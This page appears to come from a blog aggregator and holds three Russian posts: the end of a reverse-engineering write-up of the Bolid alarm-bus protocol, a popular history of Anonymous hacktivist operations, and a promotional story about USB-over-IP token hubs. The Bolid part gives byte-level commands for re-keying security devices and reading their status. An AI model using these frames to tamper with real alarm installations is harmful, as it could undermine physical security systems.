0x03 0x06 0x00 0x11 0xBA 0xBA 0x8D
  • 0x03 - адрес Bolid-устройства, в данном случае устройство имеет адрес 3 (из возможных 1..127);

  • 0x06 - количество передаваемых байт (итоговая длина сообщения минус один);

  • 0x00 - GLOBAL_KEY ^ MESSAGE_KEY (в данном случае GLOBAL_KEY = MESSAGE_KEY, поэтому GLOBAL_KEY ^ MESSAGE_KEY == 0);

  • 0x11 - команда на запись нового ключа устройства;

  • 0xBA - новый GLOBAL_KEY;

  • 0xBA - новый GLOBAL_KEY (повтор байта, видимо на всякий случай);

  • 0x8D - контрольная сумма CRC-8.

Считаем статус устройства

Для того, чтобы получить текущий статус устройства, отправим следующую команду:

0x83 0x08 0x00 0xED 0xB8 0xBA 0xBA 0xBA 0x62
  • 0x83 - ADDRESS + 0x80(смещение адреса при шифровании) (ADDRESS == 3);

  • 0x08 - количество передаваемых байт (итоговая длина сообщения минус один);

  • 0x00 - GLOBAL_KEY ^ MESSAGE_KEY (они одинаковые, поэтому ноль);

  • 0xED - 0x57 ^ MESSAGE_KEY команда на чтение статуса;

  • 0xB8 - 0x02 ^ MESSAGE_KEY команда на чтение статуса;

  • 0xBA - MESSAGE_KEY;

  • 0xBA - MESSAGE_KEY;

  • 0xBA - MESSAGE_KEY;

  • 0x62 - контрольная сумма CRC-8.

На данную команду мы можем получить ответ навроде:

0x83 0x0A 0xE2 0xB8 0xBA 0xBE 0xB9 0x7D 0x2F 0x72 0xD7
  • 0x83 - ADDRESS + 0x80 (ADDRESS == 3);

  • 0x0A - количество передаваемых байт (итоговая длина сообщения минус один);

  • 0xE2 - 0x88 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0xB8 - 0x02 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0xBA - MESSAGE_KEY;

  • 0xBE - 0x04 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0xB9 - 0x03 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0x7D - STATUS_1(0xC7) ^ MESSAGE_KEY;

  • 0x2F - STATUS_2(0x95) ^ MESSAGE_KEY;

  • 0x72 - 0xC8 ^ MESSAGE_KEY - назначение байта мне не известно;

  • 0xD7- контрольная сумма CRC-8.

Мы получили 2 статуса STATUS_1 и STATUS_2:

0xC7 и 0x95

199 и 149, соответственно.

Статус 199 - это Восстановление источника питания;

Статус 149 - это Взлом корпуса прибора.

Полный перечень статусов можно взять из документации на С2000-ПП.

Ссылка на одноимённую тему форума cxem.net

Подробнее..

Имя им легион. Самые громкие акции Anonymous

19.06.2021 12:05:20 | Автор: admin

Слово Анонимус уже давно стало нарицательным его часто употребляют в отношении пользователей интернета, не желающих лишний раз светить своими персональными данными. В то же время термин Anonymous имеет вполне конкретное значение так называется международное движение хактивистов, прославившееся целым рядом громких и скандальных акций. Сегодня мы вспомним самые нашумевшие из них.

Давным-давно в далеком-далеком интернете, нравы которого сильно отличались от современных, еще оставались места, где было позволено чуть больше, чем обычно. Анонимность позволяла юзерам имиджборда 4chan, не рискуя ни лицом, ни репутацией, высказывать любые мнения в том числе, сильно отличающиеся от принятых в приличном обществе. Форчан стал не только месторождением множества популярных мемов, но и источником целого ряда массовых акций, которые периодически устраивали участники этого анонимного форума. Массовые набеги на другие интернет-ресурсы, троллинг некоторых одиозных личностей в соцсетях и даже организованные кибератаки то, чем запомнился 4chan в первой половине нулевых. Именно здесь и зародились Anonymous международное движение активистов, или, как их еще называют, хактивистов, практически не имеющее единой централизованной структуры и цементируемое разве что общей идеологией. С которой, впрочем, тоже не все однозначно.

Журналисты часто называют Анонимусов хакерской группировкой, что в корне неправильно. Да и вообще не стоит называть организацией субкультуру, претендующую на звание анархического цифрового мирового разума они могут обидеться. Идеологически Anonymous ближе к криптоанархистам, чем к хакерам в нынешнем понимании этого термина. Это разрозненные группы активистов, выступающие, в первую очередь, против цензуры в интернете (правительства большинства стран на этом моменте напряглись) и за свободное распространение контента (менеджеры корпораций нервно заерзали в офисных креслах).

Несмотря на то, что сам исторический момент появления Anonymous достоверно проследить сейчас довольно непросто (интернет-археологи относят его к 2003 году), внешний антураж движения хорошо известен всем и каждому. По крайней мере, маска Гая Фокса с прищуренными глазами и тонкими усиками еще один чрезвычайно распространенный мем, известный, пожалуй, абсолютно всем и каждому.



Гай Фокс реальный персонаж, один из участников Порохового заговора в 1605 году. Не самая интересная фигура: знаменит, в первую очередь, тем, что попался и под пытками сдал сообщников. В родной Британии долгие годы считался героем отрицательным, и до сих пор во многих англоязычных странах 5 ноября проводится Ночь костров, во время которой чучело этого деятеля торжественно сжигают, как в России куклу на Масленицу. Маска Гая Фокса в современном виде появилась благодаря графической новелле V значит вендетта, изданной в 1980-е годы в США. Герой комикса, прячущий лицо за маской, выступает против тоталитарного правительства личность его до самого конца остается загадкой. Это должно как бы намекать читателю, что любой человек мог бы оказаться на его месте. Еще одним мощным толчком к популяризации персонажа стала экранизация комикса, выпущенная в 2006 году сёстрами-братьями Вачовски, до этого подарившими миру великолепную Матрицу. Киноэпопея V for Vendetta завоевала не меньшую популярность среди айтишников, чем похождения Нэо и Тринити, а чувак в маске воцарился в умах современников в качестве воплощения и символа анонимности потеснив официальный логотип Anonymous в виде костюма с вопросительным знаком, чем-то напоминающий эмблему ООН.



За всю историю своего существования Anonymous прославились множеством громких скандалов и выходок, добавивших работы политикам, правоохранителям, и, разумеется, журналистам. Перечислять все не хватит объема Большой Советской Энциклопедии, потому давайте вспомним самые масштабные и резонансные из них, оставив в стороне менее значительные события.

Проект Чанология


Одной из первых акций Anonymous стала кампания против Церкви саентологии в США в 2008 году. И без того скандальная организация, постоянно всплывающая в массовой культуре (даже во второй части Fallout засветились, не говоря уж про такие шедевры мирового искусства, как мультсериал South Park) привлекла к себе внимание активистов требованием убрать из сети интервью с Томом Крузом. Расценив это как форму цензуры, анонимусы обрушили свой гнев на организацию Рона Хаббарда: последовали взломы сайтов, призывы к правительству США лишить саентологов налоговых льгот и уличные демонстрации по всему миру. Отличительной особенностью этих акций, к слову, стали костюмы протестующих здесь-то и пригодилась упомянутая ранее маска Гая Фокса. Церковь саентологии объявила себя жертвой религиозной дискриминации и понесла серьезные репутационные и, возможно, даже финансовые потери.



Арабская весна


В 2010-х в различных государствах арабского мира прокатилась волна протестов, и, сообщество Anonymous не осталось в стороне. Правительство Египта, наверное, очень удивилось, когда в стране ни с того ни с сего когда посыпались ресурсы Министерства информации и правящей Национальной демократической партии. Но еще больше удивилось правительство Сирии, обнаружив на сайте собственного министерства обороны сообщение в поддержку восстания. В Тунисе же анонимусы затроллили целого президента: после беспорядков, в которых не обошлось без участия хактивистов, глава государства Бен Али бежал в Саудовскую Аравию.

Операция Расплата


В том же 2010 году в ответ на очередную попытку прикрыть торрент-трекер The Pirate Bay анонимы обрушили сайты Бюро авторского права США, Американской ассоциации звукозаписывающих компаний и личную страницу Джина Симмонса басиста группы Kiss. Последний отличился тем, что в интервью сравнил пиратов с нацистами, призвал правоохранителей устраивать на них облавы и конфисковывать имущество.



Скандал разгорелся с новой силой, когда в дело вмешалась политика: в 2010 году Джулиану Ассанжу, основателю WikiLeaks, было предъявлено обвинение в изнасиловании. Anonymious усмотрели в этом травлю Ассанжа из-за его деятельности, а значит очередное проявление цензуры в интернете. Карающая длань анонимусов обрушилась на платежные системы, заморозившие пожертвования для сайта WikiLeaks и личные счета его руководителя. В неравном бою пали PayPal, VISA, MasterCard, банк PostFinance, сайты шведского правительства и прокуратуры, личные страницы сенатора Джо Либермана и бывшего губернатора Аляски Сары Пэйлин, пострадал даже адвокат со стороны обвинения.

Ассанжу это, впрочем, не слишком помогло расследование против него было прекращено только в 2017 году после многочисленных судов и апелляций. И он немедленно угодил в новую историю вот же деятельная личность!

Операция Darknet


В октябре 2011 года Anonymous взломали около 40 ресурсов, распространявщих детскую порнографию и слили в сеть данные пользователей. Да-да, возможно, тех самых людей, которые когда-то сделали популярным мем про Педобира! Увы, сайты с нелегальным контентом быстро починили, а популярность некоторых из них и вовсе возросла в разы благодаря эффекту Барбары Стрейзанд.

Год 2012


2012 год запомнился миру атакой на сайт Европарламента после подписания Польшей Торгового соглашения по борьбе с контрафактом, и перехватом телеконференции ФСБ и Скотланд-Ярда, содержание которой было слито в интернет вместе с личными данными участников.

Интерпол ответил арестами активистов в Аргентине, Испании, Колумбии и Чили. По невероятному стечению обстоятельств именно после этого сайт Международной организации уголовной полиции прилег отдохнуть на полчаса и потом еще некоторое время работал с перебоями.

У католической церкви временами тоже возникают сложности в отношениях с ее прихожанами вспомнить хотя бы случай, связанный с обвинением священников в педофилии, из-за которого в 2010 году неизвестные злоумышленники украсили плакаты с изображением Папы Римского Бенедикта XVI педобирами. Anonymous не могли вечно игнорировать Ватикан, хоть и подчеркнули в своем обращении, что акция направлена не против христианской религии и верующих, а исключительно против политики католической церкви, которую анонимусы считают устаревшей. В результате бурной деятельности Anonymous в марте 2012 года официальный сайт города-государства Ватикан с Божьей помощью был выведен из строя. Дважды.

В том же году Anonymous решили заняться проблемами экологии и в знак протеста против нефтяных разработок в Арктике выложили в сеть данные более чем 1000 пользователей сайтов компаний Exxon Mobil, Shell, BP, Газпром и Роснефть. Нефть добывать продолжают, но теперь копорации стараются лучше охранять собственные секреты.

Акция Aaron Swartz


Аарон Шварц американский программист, сооснователь Reddit, писатель и хактивист, посмертно удостоенный премии Зал славы интернета. Отстаивая право на открытую науку и свободный интернет, Аарон нелегально, воспользовавшись локальной сетью Массачусетского технологического института, скачал из базы данных JSTOR (платной цифровой библиотеки академических журналов и научных работ) более 4 миллионов статей и планировал разместить их в свободном доступе.

Прокуратура США, как оказалось, не разделяла взгляды активиста и ему были предъявлены обвинения по тринадцати статьям. Предположительно, Аарон страдал депрессией и, не выдержав морального давления, 11 января 2013 года покончил с собой, находясь под домашним арестом в собственной квартире.



Дело вызвало широкий общественный резонанс, в том числе отреагировали и Anonymous: хакеры взломали сайт Комиссии США по исполнению наказаний, опубликовали на главной странице сообщение, что США перешли черту и угрожали выложить в сеть добытую информацию. Впрочем, закончилось дело фактически ничем реального слива не последовало, расследование забуксовало, а предложения активистов о поправках в законы так и остались предложениями

Операция Израиль


Конфликт Израиля с Палестиной привлек внимание Anonymous в 2013 году после угроз Израиля перекрыть телекоммуникационные связи Сектора Газа с внешним миром. По мнению анонимов, тут-то Израиль перешел все границы и в Твиттере появилось сообщение с угрозой стереть страну из интернета.

7 апреля атаке хакеров подверглись 87 сайтов, включая страницы министерства обороны, министерства образования и крупных израильских банков. Часть из них стала недоступна, а на некоторых были размещены материалы в поддержку ХАМАС и справочник для палестинцев с инструкциями по восстановлению связи на случай отключения телефонии. Пожалуй, это один из ярких примеров идеологии Anonymous: воюйте там себе на здоровье, но интернет не трогайте!

Операция Париж


В 2015 году в Париже прошла серия терактов и нападений, ответственность за которые взяла на себя запрещенная в России террористическая группировка Исламское государство. Всего спустя несколько часов в интернете появился ролик, где аноним в маске Гая Фокса объявляет террористам кибервойну.



В ответ ИГ обозвали активистов идиотами, но распространили по сети инструкцию с советами, как избежать кибератак: например, не разговаривать в мессенджерах с незнакомыми и не открывать письма с неизвестных адресов.

ИГ весьма уязвимы к атакам в сети. А по словам Anonymous, за время деятельности хактивистов им удалось заблокировать около 150 различных сайтов, связанных с этой организацией, удалить несколько тысяч пропагандистских роликов, а также выложить в открытый доступ список пользователей Twitter, предположительно связанных с террористами или симпатизирующих им.

Современность


В последнее время о новых акциях Anonymous можно услышать нечасто. Интернет уже не тот: все больше стран принимают законы, контролирующие действия пользователей сети, хактивистам предъявляются обвинения, назначаются штрафы, особо удачливые получают реальные тюремные сроки. Но нельзя сказать, что анонимусы исчезли совсем.

В 2020 году от Anonymous взломали сайт ООН и разместили на нем страницу Тайваня, который, бедняга, не имеет своего представителя в этой организации вот уже с 1971 года. Дональд Трамп удостоился внимания хакеров на тему связанного с ним сексуального скандала, впрочем, без особого результата. А основатель компании Tesla Илон Маск получил угрозы из-за своего влияния на курс криптовалют на которые традиционно ответил в своем Twitterе в духе кота Леопольда призывом жить дружно.



Движение BLM хактивисты зацепили по касательной: после смерти Джорджа Флойда в сети были размещены угрозы в адрес полиции Миннеаполиса, их обвиняли в жестокости и коррупции. Досталось сайтам полицейского департамента и мэрии, но на следующий же день их работа была восстановлена в штатном режиме. Кроме того, угрозы размещались с частных аккаунтов в социальных сетях, которые, возможно, вообще никак не связаны с Anonymous.

Эпилог


Ужесточение борьбы с киберпреступностью и протестными движениями во всем мире не могли не отразиться на Anonymous в последние годы громкие акции движения понемногу сошли на нет, а новостные ленты заполнили сообщения о происшествиях, связанных с деятельностью различных хакерских группировок. Но хакеры это не хактивисты, в первую очередь они преследуют коммерческие цели, в том время как Anonymous боролись за свободу, равенство и братство, то есть, за все хорошее против всего плохого. Как говорится, в нас пропал дух авантюризма, мы перестали лазить в окна к президентам Туниса Однако анонимусы никуда не делись они продолжают появляться в сети, общаться в мессенджерах и отмечаться в соцсетях. Просто они снизили активность и затаились. Возможно до поры до времени.



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

USB over IP удалённое администрирование

21.06.2021 16:11:25 | Автор: admin

Большую часть своей жизни я жил и работал в Москве. Занимался тем, что менял здоровье на деньги. Правда, на очень хорошие, поэтому под занавес пятого десятка купил квартиру в тихом приморском городке, далеко от столичной суеты и ежедневной нервотрёпки.

Особой необходимости в работе у меня не было. Дети уже стали самостоятельными настолько, что запросто могут содержать нас с женой. Да и скопить удалось прилично. Однако, были три проблемы.

Работа в тихом городке

Во-первых до пенсии неплохо хоть где-то формально числиться. Во-вторых, без работы скучно. В-третьих, даже небольшие деньги лишними никогда не бывают.

Однако, в маленьком приморском городке работы для айтишника не было никакой, а ездить в областной центр мне совсем не хотелось. Так я стал ИП и занялся дистанционным обслуживанием компаний, которым было накладно содержать постоянного админа.

Буквально за пару недель я обзавёлся первыми клиентами небольшими компаниями-мелкооптовиками. В штате 10-50 работников, главбух на аутсорсе, сервер с 1С и одним общим для всех каталогом. Почту используют бесплатную, вопросами ИБ заморачиваются по минимуму. В-общем, достаточно типичный для нашей страны мелкий бизнес.

Иногда приходилось выезжать на место, но не часто. Большинство задач вполне решалось дистанционно либо через TeamViewer, либо по телефону. Меня это устраивало, клиентов тоже.

Токены головная боль

Например, надо срочно отправить счёт. Сотрудник вводит пароль, входит в Диадок, загружает документ Но подписать его не может его коллега вчера сунул ключ себе в карман, а сегодня не пришёл на работу, поскольку с утра поехал утрясать какие-то вопросы с партнёром. Приходится отгружать товар без оплаты. Это означает, что деньги придут с большой задержкой как известно, уже оказанная услуга услугой не считается.

Разумеется, меня в этом ни один заказчик не упрекал. Но почти все постоянно намекали, что было бы неплохо как-то раз и навсегда решить проблему с токенами техническими средствами, поскольку административными уже пытались, но безрезультатно.

Всё действительно сложно

Сначала задача показалась мне простой. Технология USB over IP существует достаточно давно все токены подключены к одному устройству, а сотрудники работают с ними, как с локальными. Ничего не теряется, поскольку не покидает пределов офиса.

Осталось полчасика погуглить, найти решение подешевле и предложить заказчикам. Но ни тут-то было. Поразмыслив, я пришёл к выводу, что такой проект значительно сложнее, чем казался.

Прежде всего я выяснил, сколько токенов используют мои заказчики. Оказалось, от двух до одиннадцати. Стало быть, нужно такое решение одного производителя, чтобы удовлетворить всех, причём с небольшим запасом.

Почему одного производителя? Потому что мудрый Оккам умножения сущностей не приветствовал от этого одни проблемы. Да и дешевле так выходит, как правило.

Поскольку айтишников на фултайме ни в одной конторе не было, самодельные и софтовые решения исключались. Делать, настраивать и чинить некому.

По масштабированию прекрасно подходят облака. Но цены у них откровенно кусаются. Например, сервис FlexiHub обойдётся заказчику более 10 тыс. рублей в месяц за 5 ключей, не считая стоимости хаба. И это без гарантий совместимости.

Но самое главное сервисы требуют регулярной своевременной оплаты. У небольшой компании с этим могут быть проблемы. У неё не всегда есть возможность даже зарплаты сотрудникам заплатить вовремя. Задержка в неделю-другую дело обыкновенное.

В-общем, нужна железка. Точнее, набор устройств с разным количеством портов. Как я писал выше: от двух до одиннадцати с небольшим запасом. Чтобы один раз купил и навсегда твоё.

Если ориентироваться на мировые бренды, то надо брать Digi AnywhereUSB. За 2 USB-порта больше 20 тыс. рублей, за 14 портов в районе 150 тыс. рублей. Для небольших компаний это явно дорого.

Конечная остановка USB over IP концентратор

Перебирая варианты я пришёл к отечественному аппаратно-программному решению DistKontrolUSB. На нём и остановился. Причин этому несколько.

Прежде всего цена. За концентратор на 4 порта мой мелкий клиент заплатит 26 тыс. рублей с хвостиком, а более крупным придётся выложить около 69 тыс. рублей, но за 16 портов. Дешевле западного аналога в два раза.

Второе достоинство отечественного разработчика знание российской специфики. Младшая версия концентратора на 4 порта имеет ограниченную функциональность. В ней отсутствует авторизации для подключения к токенам, нет ограничений доступа и управления питанием портов.

Такой подход разумен, поскольку в небольших организациях все ключи по сути являются общими достаточно одной авторизации для всего. На практике это означает, что даже если реализовать отдельный вход для каждого токена, то получится всего лишь замедление работы сотрудников на время дополнительной аутентификации. Да ещё и возникнет путаница в паролях, что рано или поздно всё равно закончится уменьшением количества пар логин-пароль до одной.

Что касается управления питанием портов, то при их небольшом количестве функция лишена смысла. Проще перезагрузить концентратор полностью. Или руками перевоткнуть зависший USB-ключ.

Таким образом, большинство моих клиентов, обходящихся 2-4 ключами, за относительно небольшую сумму получат надёжное устройство для дистанционной работы с токенами. Причём, без заведомо избыточной функциональности, за которую надо платить.

Третье достоинство удобное удалённое управление концентратором через веб-интерфейс. Это особенно важно для более крупных организаций, которым подойдёт концентратор на 16 портов. Сотрудников там больше и без каких-то элементов ИБ не обойтись.

Допустим, по соображением безопасности требуется ограничить доступ к порту по IP-адресу, а к ключу по логину и паролю. Через панель управления это делается мгновенно, причём в одном модуле. Надо всего два раза сдвинуть соответствующие ползунки и нажать на кнопу Сохранить. Изменения сразу вступят в силу.

Проблема нахождения концов актуальна не только для очень крупных организаций, но и для моих клиентов. При помощи системного журнала в WEB-интерфейсе Управляемого USB over IP концентратора решение этой задачи облегчается. В журнале хранится вся информация о подключениях и отключениях, включая логин пользователя и IP-адрес, с которого было осуществлено подключение. Кстати, пару раз пригодилось.

Раз уж дело дошло до практики, то вот ещё один пример. Хоть правило уходя гасите свет существует, но выполняется не всегда. Один мой заказчик опасался, что в ночное время какой-нибудь хакер взломает концентратор и наделает делов.

В настройках USB over IP концентратора было сформировано автоматическое задание, по которому устройство отключается в заданное время. А чтобы директор не волновался и спал спокойно он получает уведомление о выполнении на электронную почту.

Итоги

Проект по оптимизации работы с токенами я начал в январе этого года. Из семи предприятий, с которыми я работаю, три уже приобрели и успешно используют USB over IP концентраторы. В одной организации это запланировано на лето. Думаю, что и оставшиеся три до конца года примут положительное решение.

Тем более, что моя аргументация теперь основана не только на умозрительных аргументах, но и на практике эксплуатации. Поскольку теперь я что-то смыслю в торговле, то могу оперировать цифрами.

Например, дневная задержка в оплате счёта на один миллион стоит от 100 до 1000 рублей в зависимости от договора. С отчётностью ещё хуже 5% от суммы налога. А это уже несколько тысяч даже для небольшой фирмочки. Причём, только прямого ущерба о каких-то сорвавшихся сделках я даже не говорю.

Сумму убытков из-за подобных задержек владелец компании знает. Стоимость USB over IP концентратора тоже. Срок окупаемости вычисляется без всякой высшей математики.

Насколько я могу судить, первопроходцы уже ушли в плюс. Даже те, кто приобрёл устройство на 16 портов.

Внимательный читатель заметит, что я ничего не написал про стоимость обслуживания. Исправляюсь оно ничего не стоит. По крайней мере для моих клиентов, поскольку работы у меня не прибавилось.

Впрочем, вру. Мои клиенты уже начали рекомендовать меня своим знакомым. Я думаю, что по уровню заработка я тут потихоньку достигну своего бывшего московского уровня. Жалею, что не уехал из Москвы раньше.

Подробнее..

Категории

Последние комментарии

© 2006-2021, personeltest.ru